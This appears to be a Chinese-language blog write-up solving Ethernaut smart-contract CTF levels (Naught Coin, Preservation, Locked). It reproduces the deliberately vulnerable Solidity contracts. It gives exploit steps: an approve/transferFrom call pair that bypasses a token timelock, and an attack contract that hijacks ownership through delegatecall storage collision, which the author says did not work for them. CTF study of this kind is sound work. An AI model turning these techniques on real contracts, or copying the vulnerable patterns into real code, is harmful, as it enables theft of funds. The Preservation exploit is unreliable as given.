本来说下次一定(咕咕咕),突然周天又没啥事情,干脆做完好了。

0x00 Naught Coin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol';

contract NaughtCoin is StandardToken {

using SafeMath for uint256;
string public constant name = 'NaughtCoin';
string public constant symbol = '0x0';
uint public constant decimals = 18;
uint public timeLock = now + 10 years;
uint public INITIAL_SUPPLY = (10 ** decimals).mul(1000000);
address public player;

function NaughtCoin(address _player) public {
player = _player;
totalSupply_ = INITIAL_SUPPLY;
balances[player] = INITIAL_SUPPLY;
Transfer(0x0, player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) lockTokens public returns(bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}

这道题题目说明:

NaughtCoin is an ERC20 token and you’re already holding all of them. The catch is that you’ll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0.

Things that might help

给了框架源码和接口文档,源码是不可能去看的(懒),看看接口。

这道题的目的是置0自己的token balance,合约里面有一个transfer函数,但是有一个modifier做限制,10年之后才能转出去,drl。

接口文档中除了有transfer函数之外,还有一个transferFrom,这个函数合约中没有实现,所以直接调用就可以绕过modifier

但是这个transferFrom需要授权。接着往下看就找到了可以用的一个方法:approve

然后就很清晰了,先授权,再转账

1
2
3
contract.approve(player,1000000000000000000000000)

contract.transferFrom(player,contract.address,1000000000000000000000000)

0x01 Preservation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pragma solidity ^0.4.23;

contract Preservation {

// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
}

// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
}
}

// Simple library contract to set the time
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}

这道题需要改变owner,但是这里好像没有什么可以控制owner的地方,根据给出的提示,在delegatecall上面思考,之前提到了delegatecall的特性,他的一个重要的地方就是,当一个合约调用另外一个合约中的方法时,所使用的 storage会是调用方的 storage,这样的一个特性就可以用来解这道题目。

首先,这里Preservation合约的setFirstTime中调用了LibraryContract中的方法,这时,setTime函数中给storedTime赋值,但由于上文提到的特性,在实际存储上修改的是timeZone1Library的值。

所以攻击思路就清晰了,首先调用setFirstTime来将攻击合约的地址赋值给timeZone1Library,然后再次调用setFirstTime去执行攻击代码。

攻击合约代码如下:

1
2
3
4
5
6
7
8
9
10
contract attack{
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function setTime(uint _time) public {
timeZone1Library = address(_time);
timeZone2Library = address(_time);
owner=address(_time);
}
}

但是我没有成功,讲道理,不知道为什么,方法应该是没有问题的。

0x02 Locked

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pragma solidity ^0.4.23; 

// A Locked Name Registrar
contract Locked {

bool public unlocked = false; // registrar locked, no name updates

struct NameRecord { // map hashes to addresses
bytes32 name; //
address mappedAddress;
}

mapping(address => NameRecord) public registeredNameRecord; // records who registered names
mapping(bytes32 => address) public resolve; // resolves hashes to addresses

function register(bytes32 _name, address _mappedAddress) public {
// set up the new NameRecord
NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;

resolve[_name] = _mappedAddress;
registeredNameRecord[msg.sender] = newRecord;

require(unlocked); // only allow registrations if contract is unlocked
}
}